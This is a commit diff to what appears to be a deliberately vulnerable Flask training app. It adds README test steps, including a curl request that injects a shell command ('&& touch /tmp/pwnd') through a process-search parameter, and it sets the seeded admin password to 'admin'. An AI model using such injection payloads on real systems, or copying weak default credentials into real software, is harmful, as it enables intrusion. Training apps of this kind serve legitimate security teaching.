Skip to content

Commit b5c5810

Browse files
authored
Add minimal instruction on how to test (#15)
1 parent 2bed308 commit b5c5810

File tree

2 files changed

+9
-1
lines changed

2 files changed

+9
-1
lines changed

README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,3 +55,11 @@ $ grep vulnerability . -R -n | grep -v README
5555
./run.py:7: # vulnerability: Broken Access Control
5656
./run.py:9: # vulnerability: Security Misconfiguration
5757
```
58+
59+
### How to test
60+
61+
```
62+
$ curl -b cookie.txt -d'username=admin&password=admin' localhost:5000/login
63+
$ curl -c cookie.txt localhost:5000/grep_processes?name=kworker
64+
$ curl -c cookie.txt "localhost:5000/grep_processes?name=xxx%20%26%26%20touch%20%2Ftmp%2Fpwnd"
65+
```

flask_webgoat/__init__.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ def create_app():
3131
conn.execute(create_table_query)
3232

3333
insert_admin_query = """INSERT INTO user (id, username, password, access_level)
34-
VALUES (1, 'admin', 'maximumentropy', 0)"""
34+
VALUES (1, 'admin', 'admin', 0)"""
3535
conn.execute(insert_admin_query)
3636
conn.commit()
3737
conn.close()

0 commit comments

Comments
 (0)